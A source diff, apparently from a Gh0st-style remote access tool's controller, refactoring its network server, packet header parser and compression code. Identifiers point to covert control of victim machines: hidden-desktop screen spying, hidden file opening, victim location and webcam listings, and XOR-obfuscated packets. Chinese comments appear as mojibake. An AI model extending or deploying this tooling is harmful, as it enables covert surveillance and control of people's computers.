LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -26,8 +26,6 @@ typedef struct
|
|||||||
|
|
||||||
#define m_Socket sClientSocket
|
#define m_Socket sClientSocket
|
||||||
|
|
||||||
#define Send OnClientPreSending
|
|
||||||
|
|
||||||
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||||
|
|
||||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -105,7 +103,7 @@ public:
|
|||||||
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||||
|
|
||||||
CStatusBar m_wndStatusBar;
|
CStatusBar m_wndStatusBar;
|
||||||
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||||
|
|
||||||
~CFileManagerDlg()
|
~CFileManagerDlg()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ enum {
|
|||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
|
||||||
|
|
||||||
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||||
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
|
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
|
||||||
{
|
{
|
||||||
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ class CHideScreenSpyDlg : public DialogBase {
|
|||||||
enum { IDD = IDD_SCREEN };
|
enum { IDD = IDD_SCREEN };
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||||
virtual ~CHideScreenSpyDlg();
|
virtual ~CHideScreenSpyDlg();
|
||||||
|
|
||||||
VOID SendNext(void) {
|
VOID SendNext(void) {
|
||||||
|
|||||||
@@ -5,35 +5,6 @@
|
|||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
|
|
||||||
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
|
||||||
#include "zlib/zlib.h"
|
|
||||||
|
|
||||||
#if USING_LZ4
|
|
||||||
#include "lz4/lz4.h"
|
|
||||||
#pragma comment(lib, "lz4/lz4.lib")
|
|
||||||
#define C_FAILED(p) (0 == (p))
|
|
||||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
|
||||||
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
|
||||||
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
|
||||||
#else // ZSTD
|
|
||||||
#include "zstd/zstd.h"
|
|
||||||
#ifdef _WIN64
|
|
||||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
|
||||||
#else
|
|
||||||
#pragma comment(lib, "zstd/zstd.lib")
|
|
||||||
#endif
|
|
||||||
#define C_FAILED(p) ZSTD_isError(p)
|
|
||||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
|
||||||
#define ZSTD_CLEVEL 5
|
|
||||||
#if USING_CTX
|
|
||||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
|
|
||||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
|
||||||
#else
|
|
||||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
|
||||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
|
||||||
#endif
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
||||||
std::string GetPeerName(SOCKET sock) {
|
std::string GetPeerName(SOCKET sock) {
|
||||||
sockaddr_in ClientAddr = {};
|
sockaddr_in ClientAddr = {};
|
||||||
@@ -306,7 +277,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
|
|||||||
m_ulThreadPoolMax = SystemInfo.dwNumberOfProcessors * 2;
|
m_ulThreadPoolMax = SystemInfo.dwNumberOfProcessors * 2;
|
||||||
m_ulCPULowThreadsHold = 10;
|
m_ulCPULowThreadsHold = 10;
|
||||||
m_ulCPUHighThreadsHold = 75;
|
m_ulCPUHighThreadsHold = 75;
|
||||||
m_cpu.Init();
|
|
||||||
|
|
||||||
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
|
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
|
||||||
|
|
||||||
|
|||||||
@@ -3,424 +3,95 @@
|
|||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
#include <WinSock2.h>
|
#include <WinSock2.h>
|
||||||
#pragma comment(lib,"ws2_32.lib")
|
#pragma comment(lib,"ws2_32.lib")
|
||||||
#include "CpuUseage.h"
|
#include "Server.h"
|
||||||
#include "Buffer.h"
|
|
||||||
#define XXH_INLINE_ALL
|
|
||||||
#include "xxhash.h"
|
|
||||||
|
|
||||||
#if USING_CTX
|
#if USING_CTX
|
||||||
#include "zstd/zstd.h"
|
#include "zstd/zstd.h"
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <Mstcpip.h>
|
#include <Mstcpip.h>
|
||||||
#include "common/header.h"
|
|
||||||
#include "common/encrypt.h"
|
|
||||||
#define PACKET_LENGTH 0x2000
|
|
||||||
|
|
||||||
#define NC_CLIENT_CONNECT 0x0001
|
#define NC_CLIENT_CONNECT 0x0001
|
||||||
#define NC_RECEIVE 0x0004
|
#define NC_RECEIVE 0x0004
|
||||||
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
std::string GetPeerName(SOCKET sock);
|
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||||
std::string GetRemoteIP(SOCKET sock);
|
#include "zlib/zlib.h"
|
||||||
|
|
||||||
|
|
||||||
enum
|
|
||||||
{
|
|
||||||
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
|
|
||||||
ONLINELIST_ADDR, // <20><>ַ
|
|
||||||
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
|
||||||
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
|
|
||||||
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
|
|
||||||
ONLINELIST_CPU, // CPU
|
|
||||||
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
|
||||||
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|
||||||
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
|
||||||
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
|
|
||||||
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
|
|
||||||
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
|
||||||
ONLINELIST_MAX,
|
|
||||||
};
|
|
||||||
|
|
||||||
enum {
|
|
||||||
PARSER_WINOS = -2,
|
|
||||||
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
|
||||||
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef struct PR {
|
|
||||||
int Result;
|
|
||||||
bool IsFailed() const {
|
|
||||||
return PARSER_FAILED == Result;
|
|
||||||
}
|
|
||||||
bool IsNeedMore() const {
|
|
||||||
return PARSER_NEEDMORE == Result;
|
|
||||||
}
|
|
||||||
bool IsWinOSLogin() const {
|
|
||||||
return PARSER_WINOS == Result;
|
|
||||||
}
|
|
||||||
}PR;
|
|
||||||
|
|
||||||
enum {
|
|
||||||
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
|
||||||
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
|
|
||||||
};
|
|
||||||
|
|
||||||
struct CONTEXT_OBJECT;
|
|
||||||
|
|
||||||
// Header parser: parse the data to make sure it's from a supported client.
|
|
||||||
class HeaderParser {
|
|
||||||
friend struct CONTEXT_OBJECT;
|
|
||||||
protected:
|
|
||||||
HeaderParser() {
|
|
||||||
memset(this, 0, sizeof(HeaderParser));
|
|
||||||
}
|
|
||||||
virtual ~HeaderParser() {
|
|
||||||
Reset();
|
|
||||||
}
|
|
||||||
PR Parse(CBuffer& buf, int &compressMethod) {
|
|
||||||
const int MinimumCount = MIN_COMLEN;
|
|
||||||
if (buf.GetBufferLength() < MinimumCount) {
|
|
||||||
return PR{ PARSER_NEEDMORE };
|
|
||||||
}
|
|
||||||
char szPacketFlag[32] = { 0 };
|
|
||||||
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
|
||||||
HeaderEncType encTyp = HeaderEncUnknown;
|
|
||||||
FlagType flagType = CheckHead(szPacketFlag, encTyp);
|
|
||||||
if (flagType == FLAG_UNKNOWN) {
|
|
||||||
// <20><><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> + ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>+4<><34>0<EFBFBD>ֽ<EFBFBD>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ+ϵͳλ<CDB3><CEBB><EFBFBD><EFBFBD>ʶ]
|
|
||||||
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), *p = ptr+4;
|
|
||||||
int length = *((int*)ptr);
|
|
||||||
int excepted = buf.GetBufferLength();
|
|
||||||
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
|
|
||||||
p[6] == 0&& p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
|
|
||||||
m_nFlagType = FLAG_WINOS;
|
|
||||||
compressMethod = COMPRESS_NONE;
|
|
||||||
memcpy(m_szPacketFlag, p, 10); // ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
m_nCompareLen = 0;
|
|
||||||
m_nFlagLen = 0;
|
|
||||||
m_nHeaderLen = 14;
|
|
||||||
m_bParsed = TRUE;
|
|
||||||
m_Encoder = new Encoder();
|
|
||||||
m_Encoder2 = new WinOsEncoder();
|
|
||||||
return PR{ PARSER_WINOS };
|
|
||||||
}
|
|
||||||
return PR{ PARSER_FAILED };
|
|
||||||
}
|
|
||||||
if (m_bParsed) { // Check if the header has been parsed.
|
|
||||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
|
||||||
}
|
|
||||||
// More version may be added in the future.
|
|
||||||
switch (m_nFlagType = flagType)
|
|
||||||
{
|
|
||||||
case FLAG_UNKNOWN:
|
|
||||||
return PR{ PARSER_FAILED };
|
|
||||||
case FLAG_SHINE:
|
|
||||||
memcpy(m_szPacketFlag, szPacketFlag, 5);
|
|
||||||
m_nCompareLen = 5;
|
|
||||||
m_nFlagLen = m_nCompareLen;
|
|
||||||
m_nHeaderLen = m_nFlagLen + 8;
|
|
||||||
m_bParsed = TRUE;
|
|
||||||
m_Encoder = new Encoder();
|
|
||||||
m_Encoder2 = new Encoder();
|
|
||||||
break;
|
|
||||||
case FLAG_FUCK:
|
|
||||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
|
||||||
m_nCompareLen = 8;
|
|
||||||
m_nFlagLen = m_nCompareLen + 3;
|
|
||||||
m_nHeaderLen = m_nFlagLen + 8;
|
|
||||||
m_bParsed = TRUE;
|
|
||||||
m_Encoder = new XOREncoder();
|
|
||||||
m_Encoder2 = new Encoder();
|
|
||||||
break;
|
|
||||||
case FLAG_HELLO:
|
|
||||||
// This header is only for handling SOCKET_DLLLOADER command
|
|
||||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
|
||||||
m_nCompareLen = 6;
|
|
||||||
m_nFlagLen = 8;
|
|
||||||
m_nHeaderLen = m_nFlagLen + 8;
|
|
||||||
m_bParsed = TRUE;
|
|
||||||
compressMethod = COMPRESS_NONE;
|
|
||||||
m_Encoder = new Encoder();
|
|
||||||
m_Encoder2 = new XOREncoder16();
|
|
||||||
break;
|
|
||||||
case FLAG_HELL:
|
|
||||||
// This version
|
|
||||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
|
||||||
m_nCompareLen = FLAG_COMPLEN;
|
|
||||||
m_nFlagLen = FLAG_LENGTH;
|
|
||||||
m_nHeaderLen = m_nFlagLen + 8;
|
|
||||||
m_bParsed = TRUE;
|
|
||||||
m_Encoder = new Encoder();
|
|
||||||
m_Encoder2 = new XOREncoder16();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return PR{ m_nFlagLen };
|
|
||||||
}
|
|
||||||
BOOL IsEncodeHeader() const {
|
|
||||||
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
|
||||||
}
|
|
||||||
HeaderParser& Reset() {
|
|
||||||
SAFE_DELETE(m_Encoder);
|
|
||||||
SAFE_DELETE(m_Encoder2);
|
|
||||||
memset(this, 0, sizeof(HeaderParser));
|
|
||||||
return *this;
|
|
||||||
}
|
|
||||||
BOOL IsParsed() const {
|
|
||||||
return m_bParsed;
|
|
||||||
}
|
|
||||||
int GetFlagLen() const {
|
|
||||||
return m_nFlagLen;
|
|
||||||
}
|
|
||||||
int GetHeaderLen() const {
|
|
||||||
return m_nHeaderLen;
|
|
||||||
}
|
|
||||||
const char* GetFlag() const {
|
|
||||||
return m_szPacketFlag;
|
|
||||||
}
|
|
||||||
FlagType GetFlagType() const {
|
|
||||||
return m_nFlagType;
|
|
||||||
}
|
|
||||||
Encoder* GetEncoder() const {
|
|
||||||
return m_Encoder;
|
|
||||||
}
|
|
||||||
Encoder* GetEncoder2() const {
|
|
||||||
return m_Encoder2;
|
|
||||||
}
|
|
||||||
private:
|
|
||||||
BOOL m_bParsed; // <20><><EFBFBD>ݰ<EFBFBD><DDB0>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>
|
|
||||||
int m_nHeaderLen; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
|
|
||||||
int m_nCompareLen; // <20>ȶ<EFBFBD><C8B6>ֽ<EFBFBD><D6BD><EFBFBD>
|
|
||||||
int m_nFlagLen; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
|
||||||
FlagType m_nFlagType; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
|
||||||
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
|
|
||||||
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
|
|
||||||
};
|
|
||||||
|
|
||||||
enum IOType
|
|
||||||
{
|
|
||||||
IOInitialize,
|
|
||||||
IORead,
|
|
||||||
IOWrite,
|
|
||||||
IOIdle
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef struct CONTEXT_OBJECT
|
|
||||||
{
|
|
||||||
CString sClientInfo[ONLINELIST_MAX];
|
|
||||||
CString additonalInfo[RES_MAX];
|
|
||||||
SOCKET sClientSocket;
|
|
||||||
WSABUF wsaInBuf;
|
|
||||||
WSABUF wsaOutBuffer;
|
|
||||||
char szBuffer[PACKET_LENGTH];
|
|
||||||
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
CBuffer OutCompressedBuffer;
|
|
||||||
HWND hWnd;
|
|
||||||
HANDLE hDlg;
|
|
||||||
void *olps; // OVERLAPPEDPLUS
|
|
||||||
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
|
||||||
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
|
|
||||||
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
|
|
||||||
|
|
||||||
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
|
||||||
std::string PeerName; // <20>Զ<EFBFBD>IP
|
|
||||||
|
|
||||||
VOID InitMember(SOCKET s)
|
|
||||||
{
|
|
||||||
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
|
||||||
hWnd = NULL;
|
|
||||||
hDlg = NULL;
|
|
||||||
sClientSocket = s;
|
|
||||||
PeerName = ::GetPeerName(sClientSocket);
|
|
||||||
memset(&wsaInBuf, 0, sizeof(WSABUF));
|
|
||||||
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
|
|
||||||
olps = NULL;
|
|
||||||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
|
||||||
sClientInfo[i].Empty();
|
|
||||||
}
|
|
||||||
for (int i = 0; i < RES_MAX; i++) {
|
|
||||||
additonalInfo[i].Empty();
|
|
||||||
}
|
|
||||||
CompressMethod = COMPRESS_ZSTD;
|
|
||||||
Parser.Reset();
|
|
||||||
bLogin = FALSE;
|
|
||||||
m_bProxyConnected = FALSE;
|
|
||||||
}
|
|
||||||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
|
|
||||||
for (int i = 0; i < ONLINELIST_MAX; i++)
|
|
||||||
{
|
|
||||||
sClientInfo[i] = s[i];
|
|
||||||
}
|
|
||||||
for (int i = 0; i < a.size(); i++) {
|
|
||||||
additonalInfo[i] = a[i].c_str();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
PBYTE GetBuffer(int offset) {
|
|
||||||
return InDeCompressedBuffer.GetBuffer(offset);
|
|
||||||
}
|
|
||||||
ULONG GetBufferLength() {
|
|
||||||
return InDeCompressedBuffer.GetBufferLength();
|
|
||||||
}
|
|
||||||
std::string GetPeerName() const {
|
|
||||||
return PeerName;
|
|
||||||
}
|
|
||||||
CString GetClientData(int index) const{
|
|
||||||
return sClientInfo[index];
|
|
||||||
}
|
|
||||||
void GetAdditionalData(CString(&s)[RES_MAX]) const {
|
|
||||||
for (int i = 0; i < RES_MAX; i++)
|
|
||||||
{
|
|
||||||
s[i] = additonalInfo[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
void CancelIO() {
|
|
||||||
SAFE_CANCELIO(sClientSocket);
|
|
||||||
}
|
|
||||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
|
|
||||||
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
|
|
||||||
}
|
|
||||||
BYTE GetBYTE(int offset) {
|
|
||||||
return InDeCompressedBuffer.GetBYTE(offset);
|
|
||||||
}
|
|
||||||
// Write compressed buffer.
|
|
||||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
|
|
||||||
if (Parser.IsParsed()) {
|
|
||||||
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
|
||||||
BYTE szPacketFlag[32] = {};
|
|
||||||
const int flagLen = Parser.GetFlagLen();
|
|
||||||
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
|
||||||
if (Parser.IsEncodeHeader())
|
|
||||||
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
|
||||||
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
|
||||||
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
|
||||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
|
||||||
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
|
||||||
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
|
||||||
}else {
|
|
||||||
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
|
||||||
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
|
||||||
}
|
|
||||||
Encode2(data, dataLen, szPacketFlag);
|
|
||||||
OutCompressedBuffer.WriteBuffer(data, dataLen);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// Read compressed buffer.
|
|
||||||
PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) {
|
|
||||||
if (Parser.IsParsed()) {
|
|
||||||
ULONG totalLen = 0;
|
|
||||||
BYTE szPacketFlag[32] = {};
|
|
||||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
|
|
||||||
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
|
||||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
|
||||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
|
|
||||||
} else {
|
|
||||||
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
|
|
||||||
}
|
|
||||||
dataLen = totalLen - Parser.GetHeaderLen();
|
|
||||||
PBYTE CompressedBuffer = new BYTE[dataLen];
|
|
||||||
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
|
|
||||||
Decode2(CompressedBuffer, dataLen, szPacketFlag);
|
|
||||||
return CompressedBuffer;
|
|
||||||
}
|
|
||||||
return nullptr;
|
|
||||||
}
|
|
||||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
|
||||||
PR Parse(CBuffer& buf) {
|
|
||||||
return Parser.Parse(buf, CompressMethod);
|
|
||||||
}
|
|
||||||
// Encode data before compress.
|
|
||||||
void Encode(PBYTE data, int len) const {
|
|
||||||
Parser.GetEncoder()->Encode((unsigned char*)data, len);
|
|
||||||
}
|
|
||||||
// Decode data after uncompress.
|
|
||||||
void Decode(PBYTE data, int len) const {
|
|
||||||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
|
||||||
}
|
|
||||||
// Encode data after compress.
|
|
||||||
void Encode2(PBYTE data, int len, PBYTE param) const {
|
|
||||||
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
|
|
||||||
}
|
|
||||||
// Decode data before uncompress.
|
|
||||||
void Decode2(PBYTE data, int len, PBYTE param) const {
|
|
||||||
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
|
|
||||||
}
|
|
||||||
std::string RemoteAddr() const {
|
|
||||||
sockaddr_in ClientAddr = {};
|
|
||||||
int ulClientAddrLen = sizeof(sockaddr_in);
|
|
||||||
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
|
||||||
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
|
||||||
}
|
|
||||||
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
|
|
||||||
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
|
|
||||||
CString s;
|
|
||||||
for (int i = 0; i < 5; i++) {
|
|
||||||
s += data[idx[i]] + "|";
|
|
||||||
}
|
|
||||||
s.Delete(s.GetLength() - 1);
|
|
||||||
return XXH64(s.GetString(), s.GetLength(), 0);
|
|
||||||
}
|
|
||||||
uint64_t GetID() const { return ID; }
|
|
||||||
void SetID(uint64_t id) { ID = id; }
|
|
||||||
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
|
||||||
|
|
||||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
|
||||||
|
|
||||||
class IOCPServer
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
SOCKET m_sListenSocket;
|
|
||||||
HANDLE m_hCompletionPort;
|
|
||||||
UINT m_ulMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
HANDLE m_hListenEvent;
|
|
||||||
HANDLE m_hListenThread;
|
|
||||||
BOOL m_bTimeToKill;
|
|
||||||
HANDLE m_hKillEvent;
|
|
||||||
|
|
||||||
ULONG m_ulThreadPoolMin;
|
|
||||||
ULONG m_ulThreadPoolMax;
|
|
||||||
ULONG m_ulCPULowThreadsHold;
|
|
||||||
ULONG m_ulCPUHighThreadsHold;
|
|
||||||
ULONG m_ulCurrentThread;
|
|
||||||
ULONG m_ulBusyThread;
|
|
||||||
|
|
||||||
|
#if USING_LZ4
|
||||||
|
#include "lz4/lz4.h"
|
||||||
|
#pragma comment(lib, "lz4/lz4.lib")
|
||||||
|
#define C_FAILED(p) (0 == (p))
|
||||||
|
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||||
|
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||||
|
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||||
|
#else // ZSTD
|
||||||
|
#include "zstd/zstd.h"
|
||||||
|
#ifdef _WIN64
|
||||||
|
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "zstd/zstd.lib")
|
||||||
|
#endif
|
||||||
|
#define C_FAILED(p) ZSTD_isError(p)
|
||||||
|
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||||
|
#define ZSTD_CLEVEL 5
|
||||||
#if USING_CTX
|
#if USING_CTX
|
||||||
